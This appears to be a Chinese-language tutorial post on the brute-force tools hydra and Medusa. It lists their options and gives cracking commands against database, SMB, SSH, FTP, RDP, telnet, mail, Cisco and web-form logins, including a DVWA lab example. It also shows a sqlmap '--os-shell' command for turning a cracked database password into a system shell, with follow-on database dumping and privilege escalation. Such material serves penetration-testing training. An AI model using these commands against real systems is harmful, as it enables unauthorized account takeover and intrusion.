---恢復內容開始---
暴力破解工具hydra與Medusa
內容
(一)hadry
(二)Medusa
(一)hydra
選項
-l LOGIN 指定破解的用戶名稱,對特定用戶破解。 -L FILE 從文件中加載用戶名進行破解。 -p PASS小寫p指定密碼破解,少用,一般是采用密碼字典。 -P FILE 大寫字母P,指定密碼字典。 -e ns 可選選項,n:空密碼試探,s:使用指定用戶和密碼試探。 -C FILE 使用冒號分割格式,例如“登錄名:密碼”來代替-L/-P參數。 -t TASKS 同時運行的連接的線程數,每一台主機默認為16。 -M FILE 指定服務器目標列表文件一行一條 -w TIME 設置最大超時的時間,單位秒,默認是30s。 -o FILE 指定結果輸出文件。 -f 在使用-M參數以后,找到第一對登錄名或者密碼的時候中止破解。 -v / -V 顯示詳細過程。 -R 繼續從上一次進度接着破解。 -S 采用SSL鏈接。 -s PORT 可通過這個參數指定非默認端口。 -U 服務模塊使用細節 -h 更多的命令行選項(完整的幫助) server 目標服務器名稱或者IP(使用這個或-M選項) service 指定服務名,支持的服務和協議:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等 OPT 一些服務模塊支持額外的輸入(-U用於模塊的幫助)
使用
圖形化界面
xhydra
注意:下面例子都是在命令行下
破解MySQL密碼
數據庫一般會提供一個默認的帳戶,SQL Server的sa用戶,MySQL的root用戶,Oracle的System用戶等。
假如我們現在破解mysql數據庫
hadry -L user.txt -P pass.txt ip mysql
成功后會打印類似如下的信息:[1433][mssql] host:ip login:sa password:sql123456
一旦得到數據庫密碼,一般會做兩件事情,一是“拖庫”,二是“提權”
如果破解數據庫的密碼為sql123456,可以利用sqlmap進一步來反彈一個與系統交互的Shell用來提權。命令為:
sqlmap.py -d "mssql://sa:sql123456@ip:1433/master" --os-shell
windows密碼破解
hydra -l 用戶名 -p 密碼 smb://ip -vV
或者
hydra -l 用戶名 -p 密碼 smb ip -vV
Linux密碼破解
hydra -l 用戶名 -p 密碼 ssh://ip -vV
或者
hydra -l 用戶名 -p 密碼 ssh ip -vV
破解ftp
hydra ip ftp -l 用戶名 -P 密碼字典 -t 線程數(默認16) -vV
注意:如果你發現目標ftp並不是在21端口,而是在其他端口上,可以使用-s參數指定正確的端口,其他服務同樣如此。
破解teamspeak
hydra -l 用戶名 -P 密碼字典 -s 端口號 -vV ip teamspeak
破解rdp
hydra ip rdp -l administrator -P pass.txt -V
破解telnet
hydra ip telnet -l 用戶 -P 密碼字典 -t 32 -s 23 -e ns -f -V
破解https
hydra -m /index.php -l muts -P pass.txt ip https
破解http-proxy
hydra - l admin -P pass.txt http-proxy://ip
破解imap
hydra -L user.txt -p secret 192.168.0.1 imap PLAIN
或者
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
破解cisco
hydra -P pass.txt ip cisco hydra -m cloud -P pass.txt ip cisco-enable
破解 pop3
hydra -l root -P pass.txt my.pop3.mail pop3
get方式提交 破解web登錄
hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns ip http-get /web/ hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns -f ip http-get /web/index.asp
post方式提交 破解web登錄
hydra -l 用戶名 -P 密碼字典 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password" -V
在kali上測試dvwa登陸頁面
指定登陸成功的返回字符,登陸成功
hydra -l admin -p password 192.168.14.159 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:S=index.php" -V -t 1
指定登陸失敗的返回字符,登陸失敗,因為Login Failed並不是返回在登陸請求的會話中,這時候我們可以換一種思路,指定登陸正確的返回字符
hydra -l admin -p password 192.168.14.159 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login Failed" -V -t 1
注意:hydra的表單爆破太過於雞肋,使用BP爆破更好。
(二)medusa
hydra的缺點
-穩定性差,程序時常崩潰
-速度控制不好,容易觸發服務器屏蔽或鎖死機制
-每主機新建進程,沒服務新建實例
-大量目標破解時性能差
medusa的特點
-穩定性好
-速度控制得當
-基於線程
-支持模塊少於hydra(不支持rdp 遠程桌面)
-WEB-Form支持存在缺陷
參數
-h [TEXT] 目標IP -H [FILE] 目標主機文件 -u [TEXT] 用戶名 -U [FILE] 用戶名文件 -p [TEXT] 密碼 -P [FILE] 密碼文件 -C [FILE] 組合條目文件 -O [FILE] 文件日志信息 -e [n/s/ns] N意為空密碼,S意為密碼與用戶名相同 -M [TEXT] 模塊執行名稱 -m [TEXT] 傳遞參數到模塊 -d 顯示所有的模塊名稱 -n [NUM] 使用非默認端口 -s 啟用SSL -r [NUM] 重試間隔時間,默認為3秒 -t [NUM] 設定線程數量 -L 並行化,每個用戶使用一個線程 -f 在任何主機上找到第一個賬號/密碼后,停止破解 -q 顯示模塊的使用信息 -v [NUM] 詳細級別(0-6) -w [NUM] 錯誤調試級別(0-10) -V 顯示版本 -Z [TEXT] 繼續掃描上一次
使用
使用語法
Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
破解smbnt
medusa -M smbnt -h 192.168.14.155 -u Administrator -P mutou01.txt -e ns
或者
medusa -M smbnt -C combo.txt
combo文件的格式如下:
192.168.0.20:testuser:pass
192.168.0.40:user1:foopass
注意:使用“-e ns”參數,嘗試空密碼及賬號為密碼
破解MSSQL
medusa -h ip -u sa -P /pass.txt -t 5 -f -M mssql
破解SSH
medusa -M ssh -H host.txt -U user.txt -p password
輸出為日志文件,使用-O參數
medusa -h ip -u sa -P /pass.txt -t 5 -f -e ns -M mssql -O /ap.txt